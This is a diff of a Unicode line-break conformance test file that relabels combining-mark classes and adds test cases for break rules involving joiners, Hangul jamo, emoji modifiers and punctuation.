-× 3041 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 3041 × 0308 ÷ 00A7 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 3041 ÷ 50005 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 3041 × 0020 ÷ 50005 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 3041 × 0308 ÷ 50005 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 3041 × 0308 ÷ 50005 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 3041 ÷ 0E01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 3041 × 0020 ÷ 0E01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 3041 × 0308 ÷ 0E01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 3041 × 0308 ÷ 0E01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 3041 × 3041 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 3041 × 0020 ÷ 3041 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 3041 × 0308 × 3041 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 3041 × 0308 × 3041 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000D × 000A ÷ 0061 × 000A ÷ 0308 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) × [5.01] <LINE FEED (LF)> (LF) ÷ [5.03] LATIN SMALL LETTER A (AL) × [6.0] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [0.3]
+× 0061 × 0308 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [0.3]
+× 0020 ÷ 200D × 0646 ÷ # × [0.3] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [28.0] ARABIC LETTER NOON (AL) ÷ [0.3]
+× 0646 × 200D × 0020 ÷ # × [0.3] ARABIC LETTER NOON (AL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 000B ÷ 3041 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000D ÷ 3041 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0085 ÷ 3041 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 200D × 261D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [8.1] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 3041 × 2060 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 2060 × 3041 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 3041 × 0308 × 00A0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200D × 00A0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [12.3] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200D × 002F ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [13.04] SOLIDUS (SY) ÷ [0.3]
+× 2014 × 2014 ÷ # × [0.3] EM DASH (B2) × [17.0] EM DASH (B2) ÷ [0.3]
+× 3041 ÷ FFFC ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× FFFC ÷ 3041 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 3041 × 002D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0E01 × 2024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 0021 × 2024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [22.02] ONE DOT LEADER (IN) ÷ [0.3]
+× 2024 × 2024 ÷ # × [0.3] ONE DOT LEADER (IN) × [22.04] ONE DOT LEADER (IN) ÷ [0.3]
+× 0030 × 2024 ÷ # × [0.3] DIGIT ZERO (NU) × [22.05] ONE DOT LEADER (IN) ÷ [0.3]
+× 261D × 0025 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [23.13] PERCENT SIGN (PO) ÷ [0.3]
+× 0E01 × 0030 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0024 × 261D ÷ # × [0.3] DOLLAR SIGN (PR) × [23.12] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0024 × 0E01 ÷ # × [0.3] DOLLAR SIGN (PR) × [24.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0025 × 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [24.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1100 × 1160 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [26.01] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1160 × 1160 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [26.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 11A8 × 11A8 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [26.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1160 × 2024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 1160 × 0025 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
+× 0024 × 1160 ÷ # × [0.3] DOLLAR SIGN (PR) × [27.03] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 261D × 1F3FB ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [30.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0066 × 0069 × 006E × 0061 × 006C ÷ # × [0.3] LATIN SMALL LETTER F (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER L (AL) ÷ [0.3]
× 0063 × 0061 × 006E × 0027 × 0074 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER N (AL) × [19.01] APOSTROPHE (QU) × [19.02] LATIN SMALL LETTER T (AL) ÷ [0.3]
× 0063 × 0061 × 006E × 2019 × 0074 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER N (AL) × [19.01] RIGHT SINGLE QUOTATION MARK (QU) × [19.02] LATIN SMALL LETTER T (AL) ÷ [0.3]
× 0027 × 0063 × 0061 × 006E × 0027 × 0020 ÷ 006E × 006F × 0074 ÷ # × [0.3] APOSTROPHE (QU) × [19.02] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER N (AL) × [19.01] APOSTROPHE (QU) × [7.01] SPACE (SP) ÷ [18.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER T (AL) ÷ [0.3]
@@ -6119,8 +7129,8 @@
× 4E00 × 002E ÷ 4E00 × 002E ÷ # × [0.3] CJK UNIFIED IDEOGRAPH-4E00 (ID) × [13.02] FULL STOP (IS) ÷ [999.0] CJK UNIFIED IDEOGRAPH-4E00 (ID) × [13.02] FULL STOP (IS) ÷ [0.3]
× 0061 × 0020 × 0020 ÷ 0062 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] LATIN SMALL LETTER B (AL) ÷ [0.3]
× 0061 × 0020 × 0020 × 200B ÷ 0062 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [8.0] LATIN SMALL LETTER B (AL) ÷ [0.3]
-× 0061 × 0020 ÷ 0308 × 0062 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [7.01] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [28.0] LATIN SMALL LETTER B (AL) ÷ [0.3]
-× 0031 × 0308 × 0062 × 0028 × 0061 × 0029 × 002D ÷ 0028 × 0062 × 0029 ÷ # × [0.3] DIGIT ONE (NU) × [9.0] COMBINING DIAERESIS (CM) × [23.03] LATIN SMALL LETTER B (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER A (AL) × [13.02] RIGHT PARENTHESIS (CP) × [21.02] HYPHEN-MINUS (HY) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER B (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 0020 ÷ 0308 × 0062 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [7.01] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [28.0] LATIN SMALL LETTER B (AL) ÷ [0.3]
+× 0031 × 0308 × 0062 × 0028 × 0061 × 0029 × 002D ÷ 0028 × 0062 × 0029 ÷ # × [0.3] DIGIT ONE (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.03] LATIN SMALL LETTER B (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER A (AL) × [13.02] RIGHT PARENTHESIS (CP) × [21.02] HYPHEN-MINUS (HY) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER B (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0067 × 0069 × 0076 × 0065 × 0020 ÷ 0062 × 006F × 006F × 006B × 0028 × 0073 × 0029 × 002E ÷ # × [0.3] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER V (AL) × [28.0] LATIN SMALL LETTER E (AL) × [7.01] SPACE (SP) ÷ [18.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER K (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT PARENTHESIS (CP) × [13.02] FULL STOP (IS) ÷ [0.3]
× 307E ÷ 0028 × 3059 × 0029 ÷ # × [0.3] HIRAGANA LETTER MA (ID) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] HIRAGANA LETTER SU (ID) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0066 × 0069 × 006E × 0064 × 0020 × 002E × 0063 × 006F × 006D ÷ # × [0.3] LATIN SMALL LETTER F (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER D (AL) × [7.01] SPACE (SP) × [13.02] FULL STOP (IS) × [29.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER M (AL) ÷ [0.3]
@@ -6133,12 +7143,12 @@
× 0063 × 006F × 0064 × 0065 × 0028 × 0073 × 002E × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] FULL STOP (IS) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0063 × 006F × 0064 × 0065 × 0028 × 0073 × 0029 × 0021 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT PARENTHESIS (CP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0063 × 006F × 0064 × 0065 × 0028 × 0073 × 0021 × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.01] EXCLAMATION MARK (EX) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0063 × 006F × 0064 × 0065 ÷ 005C ÷ 0028 × 0073 ÷ 005C × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) ÷ [999.0] REVERSE SOLIDUS (PR) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) ÷ [999.0] REVERSE SOLIDUS (PR) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0063 × 006F × 0064 × 0065 × 005C ÷ 0028 × 0073 × 005C × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [24.03] REVERSE SOLIDUS (PR) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [24.03] REVERSE SOLIDUS (PR) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0063 × 006F × 0064 × 0065 × 0028 × 0020 × 0073 × 0020 × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] LATIN SMALL LETTER S (AL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0063 × 006F × 0064 × 0065 × 007B × 0073 × 007D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0063 × 006F × 0064 × 0065 × 007B × 0073 × 007D × 002E ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT CURLY BRACKET (CL) × [13.02] FULL STOP (IS) ÷ [0.3]
× 0063 × 006F × 0064 × 0065 × 007B × 0073 × 007D × 0021 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT CURLY BRACKET (CL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0063 × 006F × 0064 × 0065 ÷ 005C ÷ 007B × 0073 ÷ 005C × 007D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) ÷ [999.0] REVERSE SOLIDUS (PR) ÷ [999.0] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER S (AL) ÷ [999.0] REVERSE SOLIDUS (PR) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0063 × 006F × 0064 × 0065 × 005C ÷ 007B × 0073 × 005C × 007D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [24.03] REVERSE SOLIDUS (PR) ÷ [999.0] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER S (AL) × [24.03] REVERSE SOLIDUS (PR) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0063 × 006F × 0064 × 0065 × 007B × 0020 × 0073 × 0020 × 007D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [28.0] LATIN SMALL LETTER E (AL) × [30.01] LEFT CURLY BRACKET (OP) × [7.01] SPACE (SP) × [14.0] LATIN SMALL LETTER S (AL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0063 × 006F × 0064 × 0028 × 0065 × 0029 ÷ 2026 ÷ 0028 × 0073 × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] HORIZONTAL ELLIPSIS (IN) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0028 × 0063 × 006F × 0064 × 0028 × 0065 × 0029 ÷ 2026 × 0029 × 0073 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER D (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] HORIZONTAL ELLIPSIS (IN) × [13.02] RIGHT PARENTHESIS (CP) × [30.02] LATIN SMALL LETTER S (AL) ÷ [0.3]
@@ -6156,19 +7166,19 @@
× 007B × 0063 × 006F × 006E × 007D × 002D ÷ 006C × 0061 × 006E × 0067 ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER N (AL) × [13.02] RIGHT CURLY BRACKET (CL) × [21.02] HYPHEN-MINUS (HY) ÷ [999.0] LATIN SMALL LETTER L (AL) × [28.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER G (AL) ÷ [0.3]
× 007B × 0063 × 006F × 006E × 007D × 00AD ÷ 006C × 0061 × 006E × 0067 ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER N (AL) × [13.02] RIGHT CURLY BRACKET (CL) × [21.01] SOFT HYPHEN (BA) ÷ [999.0] LATIN SMALL LETTER L (AL) × [28.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER G (AL) ÷ [0.3]
× 007B × 0063 × 006F × 006E × 007D × 2011 × 006C × 0061 × 006E × 0067 ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER N (AL) × [13.02] RIGHT CURLY BRACKET (CL) × [12.1] NON-BREAKING HYPHEN (GL) × [12.0] LATIN SMALL LETTER L (AL) × [28.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER G (AL) ÷ [0.3]
-× 0063 × 0072 × 0065 × 0301 × 0028 × 0065 × 0301 × 0029 ÷ 0028 × 0065 × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0063 × 0072 × 0065 × 0301 × 005B × 0065 × 0072 × 007C ÷ 0065 × 0301 × 0028 × 0065 × 0029 ÷ 0028 × 0073 × 0029 × 005D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM) × [30.01] LEFT SQUARE BRACKET (OP) × [14.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER R (AL) × [21.01] VERTICAL LINE (BA) ÷ [999.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT PARENTHESIS (CP) × [13.02] RIGHT SQUARE BRACKET (CP) ÷ [0.3]
-× 0063 × 0072 × 0065 × 0301 × 007B × 0065 × 0072 × 007C ÷ 0065 × 0301 × 0028 × 0065 × 0029 ÷ 0028 × 0073 × 0029 × 007D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER R (AL) × [21.01] VERTICAL LINE (BA) ÷ [999.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT PARENTHESIS (CP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 0028 × 0308 × 0029 ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 0028 × 00AB × 0308 × 00BB × 0029 ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.01] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
